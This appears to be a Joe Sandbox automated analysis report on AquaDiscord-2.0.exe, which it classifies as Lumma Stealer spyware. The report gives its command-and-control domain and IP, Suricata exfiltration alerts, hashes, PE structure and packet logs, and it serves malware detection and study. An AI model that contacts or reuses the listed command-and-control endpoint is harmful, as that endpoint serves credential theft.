http://x1.c.lencr.org/0	AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	AquaDiscord-2.0.exe, 00000002.00000003.1694160465.0000000005424000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop:443/apitxtPK	AquaDiscord-2.0.exe, 00000002.00000002.2909842558.0000000002DD6000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1747187894.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1791621621.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401885385.0000000002DD4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	AquaDiscord-2.0.exe, 00000002.00000003.1722843066.000000000551A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop:443/api	AquaDiscord-2.0.exe, 00000002.00000003.1737584566.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000002.2909842558.0000000002DD6000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1747187894.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1791621621.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401885385.0000000002DD4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	AquaDiscord-2.0.exe, 00000002.00000003.1723179894.00000000053FF000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1723197231.0000000005404000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop:443/apiR	AquaDiscord-2.0.exe, 00000002.00000003.1737584566.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000002.2909842558.0000000002DD6000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1747187894.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1791621621.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1692630755.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401885385.0000000002DD4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	AquaDiscord-2.0.exe, 00000002.00000003.1723179894.00000000053FF000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1723197231.0000000005404000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	AquaDiscord-2.0.exe, 00000002.00000003.1723179894.00000000053FF000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1723197231.0000000005404000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	AquaDiscord-2.0.exe, 00000002.00000003.1709004731.0000000005449000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1694093363.0000000005450000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1709186168.0000000005449000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1694160465.0000000005449000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AquaDiscord-2.0.exe, 00000002.00000003.1722843066.000000000551A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/L	AquaDiscord-2.0.exe, 00000002.00000003.1737668890.0000000002E63000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1737933383.0000000002E63000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	AquaDiscord-2.0.exe, 00000002.00000003.1723179894.00000000053FF000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1723197231.0000000005404000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.microsof	AquaDiscord-2.0.exe, 00000002.00000003.1694093363.0000000005450000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	AquaDiscord-2.0.exe, 00000002.00000003.1721976712.0000000005428000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop/api~J	AquaDiscord-2.0.exe, 00000002.00000003.1692630755.0000000002DED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	AquaDiscord-2.0.exe, 00000002.00000003.1694160465.0000000005424000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop:443/api?	AquaDiscord-2.0.exe, 00000002.00000003.1692630755.0000000002DD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/	AquaDiscord-2.0.exe, 00000002.00000003.1692630755.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000002.2910034398.0000000002E5F000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1737979972.0000000002DED000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	AquaDiscord-2.0.exe, 00000002.00000003.1693667691.000000000543D000.00000004.00000800.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.1693765440.000000000543A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fancywaxxers.shop:443/api7	AquaDiscord-2.0.exe, 00000002.00000002.2909842558.0000000002DD6000.00000004.00000020.00020000.00000000.sdmp, AquaDiscord-2.0.exe, 00000002.00000003.2401885385.0000000002DD4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.16.1	fancywaxxers.shop	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582529
Start date and time:	2024-12-30 20:39:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	AquaDiscord-2.0.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 51 Number of non-executed functions: 115
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.253.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: AquaDiscord-2.0.exe

Simulations

Behavior and APIs

Time	Type	Description
14:40:00	API Interceptor	8x Sleep call for process: AquaDiscord-2.0.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.16.1	JNKHlxGvw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	188387cm.n9shteam.in/videolinePipeHttplowProcessorgamelocalTemp.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fancywaxxers.shop	random.exe	Get hash	malicious	LummaC	Browse	104.21.48.1
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	R3nz_Loader.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	web44.mp4.hta	Get hash	malicious	LummaC	Browse	172.67.154.95
	setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	SharkHack.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.64.143
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Set-up.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	#Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.0.151
	https://employeeportal.net-login.com/XL0pFWEloTnBYUmM5TnBUSmVpbWxiSUpWb3BBL1lPY1hwYU5uYktNWkd5ME82bWJMcUhoRklFUWJiVmFOUi9uUS81dGZ4dnJZYkltK2NMZG5BV1pmbFhqMXNZcm1QeXBXTXI4R090NHo5NWhuL2l4TXdxNlY4VlZxWHVPNTdnc1M3aU4xWjhFTmJiTEJWVUYydWVqZjNPbnFkM3M5T0FNQ2lRL3EySjhvdVVDNzZ2UHJQb0xQdlhZbTZRPT0tLTJaT0Z2TlJ3S0NMTTZjc2ktLTZGNUIwRnVkbFRTTHR2dUFITkcxVFE9PQ==?cid=2341891188	Get hash	malicious	KnowBe4	Browse	104.17.25.14
	random.exe	Get hash	malicious	LummaC	Browse	104.21.64.143
	https://tepco-jp-lin;.%5Dshop/co/tepco	Get hash	malicious	Unknown	Browse	1.1.1.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	hoEtvOOrYH.exe	Get hash	malicious	SmokeLoader	Browse	104.21.16.1
	web44.mp4.hta	Get hash	malicious	LummaC	Browse	104.21.16.1
	setup.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	SharkHack.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.16.1
	Active_Setup.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	#Setup.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	random.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	104.21.16.1
	PI1EA8P74K.exe	Get hash	malicious	LummaC	Browse	104.21.16.1

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.827269120715067
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	AquaDiscord-2.0.exe
File size:	834'048 bytes
MD5:	a15ebbc7798933dc1d436b59600f3aca
SHA1:	c666f3ea96290df82eba8452262fa9c84ad8b518
SHA256:	875390ef2cf52c86926147fed0ef8db6ddc8ad8422ecf5760462f2e03fc61bd3
SHA512:	22ceec3e5deccbd3d78cf329c94b42e96647a6ddfbfecb96e57693daac106f209edec3836676d72b0a3a272d9f74ef3a33062d2e28e2bec52821142e0e6ef8cc
SSDEEP:	24576:Y4dPpQPmY1dzvMoyZljwur1dzvMoyZljwu+:hdPp/M5vMb3wuB5vMb3wu+
TLSH:	210512517582C0B3CC631AB759FDA3B6562EF9600B21A9DF47D40FBE6F621C05630B2A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....rg.................H........................@.......................................@.....................................(..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40a2a0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6772AADA [Mon Dec 30 14:14:50 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d6bfc0ff235c28cc21f6045af30834e6

Entrypoint Preview

Instruction
call 00007F1EFC808A4Ah
jmp 00007F1EFC8088ADh
mov ecx, dword ptr [004307C0h]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F1EFC808A46h
test esi, ecx
jne 00007F1EFC808A68h
call 00007F1EFC808A71h
mov ecx, eax
cmp ecx, edi
jne 00007F1EFC808A49h
mov ecx, BB40E64Fh
jmp 00007F1EFC808A50h
test esi, ecx
jne 00007F1EFC808A4Ch
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [004307C0h], ecx
not ecx
pop edi
mov dword ptr [00430800h], ecx
pop esi
ret
push ebp
mov ebp, esp
sub esp, 14h
lea eax, dword ptr [ebp-0Ch]
xorps xmm0, xmm0
push eax
movlpd qword ptr [ebp-0Ch], xmm0
call dword ptr [0042E8C8h]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [0042E884h]
xor dword ptr [ebp-04h], eax
call dword ptr [0042E880h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [0042E910h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov eax, 00004000h
ret
push 00431AB8h
call dword ptr [0042E8E8h]
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov al, 01h
ret
push 00030000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e6ac	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0xe8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x35000	0x1b80	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2a9a8	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x26e40	0xc0	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2e820	0x14c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2479a	0x24800	e99bb4e274380b09613559d3b1a664fb	False	0.554781142979452	data	6.559742159760055	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x26000	0x9eb4	0xa000	3f1d7f6413abea491661acb746eefebf	False	0.428271484375	DOS executable (COM)	4.91372050063646	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x30000	0x2280	0x1600	112d0c9e43893ae5b7f96d23807996ac	False	0.39506392045454547	data	4.581141173428789	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x33000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x34000	0xe8	0x200	03d6bf5d1e31277fc8fb90374111d794	False	0.306640625	data	2.344915704357875	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x35000	0x1b80	0x1c00	6e4c901089600f702531dbe2643a65b6	False	0.7770647321428571	data	6.526735403310053	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.BSS	0x37000	0x4ca00	0x4ca00	9ee832d4aed74c7097c0a4b519fd8b77	False	1.000337734502447	data	7.999350903774988	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.BSS	0x84000	0x4ca00	0x4ca00	9ee832d4aed74c7097c0a4b519fd8b77	False	1.000337734502447	data	7.999350903774988	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x34060	0x87	XML 1.0 document, ASCII text	English	United States	0.8222222222222222

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CompareStringW, CreateFileW, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlushFileBuffers, FreeConsole, FreeEnvironmentStringsW, FreeLibrary, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlUnwind, SetEnvironmentVariableW, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, SleepConditionVariableSRW, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, UnhandledExceptionFilter, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-30T20:40:00.758376+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.16.1	443	TCP
2024-12-30T20:40:01.241350+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.16.1	443	TCP
2024-12-30T20:40:01.241350+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.16.1	443	TCP
2024-12-30T20:40:01.729539+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.16.1	443	TCP
2024-12-30T20:40:02.279785+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.16.1	443	TCP
2024-12-30T20:40:02.279785+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.16.1	443	TCP
2024-12-30T20:40:03.423030+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.16.1	443	TCP
2024-12-30T20:40:04.622792+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.16.1	443	TCP
2024-12-30T20:40:05.223121+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49733	104.21.16.1	443	TCP
2024-12-30T20:40:05.886609+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.16.1	443	TCP
2024-12-30T20:40:07.393149+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.16.1	443	TCP
2024-12-30T20:40:08.760534+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	104.21.16.1	443	TCP
2024-12-30T20:40:12.789707+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	104.21.16.1	443	TCP
2024-12-30T20:40:13.250576+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49737	104.21.16.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 20:40:00.277244091 CET	49730	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:00.277275085 CET	443	49730	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:00.277339935 CET	49730	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:00.280221939 CET	49730	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:00.280234098 CET	443	49730	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:00.758264065 CET	443	49730	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:00.758375883 CET	49730	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:00.761853933 CET	49730	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:00.761862993 CET	443	49730	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:00.762269020 CET	443	49730	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:00.810790062 CET	49730	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:00.810820103 CET	49730	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:00.810897112 CET	443	49730	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:01.241374016 CET	443	49730	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:01.241511106 CET	443	49730	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:01.241560936 CET	49730	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:01.247203112 CET	49730	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:01.247215033 CET	443	49730	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:01.247240067 CET	49730	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:01.247245073 CET	443	49730	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:01.270971060 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:01.271011114 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:01.271111965 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:01.271473885 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:01.271486998 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:01.729444981 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:01.729538918 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:01.835076094 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:01.835124016 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:01.835504055 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:01.845944881 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:01.845988035 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:01.846024990 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.279783964 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.279849052 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.279889107 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.279925108 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.279944897 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.280006886 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.280041933 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.280056000 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.280106068 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.280138969 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.280145884 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.280193090 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.280211926 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.280236959 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.280301094 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.284593105 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.328923941 CET	49731	443	192.168.2.4	104.21.16.1
Dec 30, 2024 20:40:02.328952074 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.366449118 CET	443	49731	104.21.16.1	192.168.2.4
Dec 30, 2024 20:40:02.366492033 CET	443	49731	104.21.16.1	192.168.2.4
